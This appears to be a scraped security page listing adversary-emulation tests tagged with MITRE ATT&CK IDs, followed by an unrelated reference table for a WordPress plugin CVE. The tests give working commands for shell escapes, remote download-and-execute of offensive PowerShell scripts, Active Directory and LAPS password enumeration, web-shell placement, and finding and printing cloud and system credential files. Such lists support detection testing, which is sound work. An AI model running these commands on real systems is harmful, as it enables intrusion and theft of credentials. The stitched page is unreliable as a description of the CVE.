LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004
New script file in the tmp directory
Linux
Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004
Obfuscated command line scripts
Linux
Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004
Shell Creation using awk command
Linux, macOS
Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004
Shell Creation using busybox command
Linux
Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell.
Reference -...
Command (Shell)
busybox sh &
T1059.004
What shell is running
Linux
Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004
What shells are available
Linux
Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells
T1059.004
emacs spawning an interactive system shell
Linux, macOS
Shell
Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1087.002
Account Enumeration with LDAPDomainDump
Linux
Shell
This test uses LDAPDomainDump to perform account enumeration on a domain.
[Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)
Command (Shell)
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
T1087.002
Active Directory Domain Search
Linux
Shell
Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory
Command (Shell)
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
T1087.002
Adfind - Enumerate Active Directory Admins
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
T1087.002
Adfind - Enumerate Active Directory Exchange AD Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
T1087.002
Adfind - Enumerate Active Directory User Objects
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
T1087.002
Adfind -Listing password policy
Windows
CMD
Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy.
reference- http://www.joeware.net/freetools/tools/adfind/,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
T1087.002
Automated AD Recon (ADRecon)
Windows
PowerShell
ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its
path will be displayed.
Command (PowerShell)
Invoke-Expression "#{adrecon_path}"
T1087.002
Enumerate Active Directory Users with ADSISearcher
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
T1087.002
Enumerate Active Directory for Unconstrained Delegation
Windows
PowerShell
Attackers may attempt to query for computer objects with the UserAccountControl property
'TRUSTED_FOR_DELEGATION' (0x80000;524288) set
More Information -...
Command (PowerShell)
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
T1087.002
Enumerate Default Domain Admin Details (Domain)
Windows
CMD
This test will enumerate the details of the built-in domain admin account
Command (CMD)
net user administrator /domain
T1087.002
Enumerate Linked Policies In ADSISearcher Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate Root Domain linked policies Discovery
Windows
PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory.
Upon successful execution a listing of users will output with their paths in AD.
Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002
Enumerate all accounts (Domain)
Windows
CMD
Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002
Enumerate all accounts via PowerShell (Domain)
Windows
PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002
Enumerate logged on users via CMD (Domain)
Windows
CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002
Get-DomainUser with PowerView
Windows
PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002
Kerbrute - userenum
Windows
PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002
Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property
Windows
PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Suspicious LAPS Attributes Query with adfind all properties
Windows
PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002
Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd
Windows
PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002
Wevtutil - Discover NTLM Users Remote
Windows
PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM.
This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002
WinPwn - generaldomaininfo
Windows
PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1505.003
Web Shell Written to Disk
Windows
CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.
Idea from APTSimulator.
cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001
Access unattend.xml
Windows
CMD
Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.
If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001
Extract Browser and System credentials with LaZagne
macOS
Bash
Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001
Extract passwords with grep
Linux, macOS
Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001
Extracting passwords with findstr
Windows
PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001
Find AWS credentials
Linux, macOS
Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001
Find Azure credentials
Linux, macOS
Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001
Find GCP credentials
Linux, macOS
Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001
Find OCI credentials
Linux, macOS
Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001
Find and Access Github Credentials
Linux, macOS
Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001
List Credential Files via Command Prompt
Windows
CMD
Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001
List Credential Files via PowerShell
Windows
PowerShell
Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001
WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Windows
PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001
WinPwn - SessionGopher
Windows
PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001
WinPwn - Snaffler
Windows
PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001
WinPwn - passhunt
Windows
PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001
WinPwn - powershellsensitive
Windows
PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001
WinPwn - sensitivefiles
Windows
PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8104 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/0fad1834-0ee1-4542-a5a7-55a32861c81d?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wpextended/trunk/includes/libraries/wpext_export/wpext_export.php#L137 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3145430%40wpextended%2Ftrunk&old=3134345%40wpextended%2Ftrunk&sfp_email=&sfph_mail= |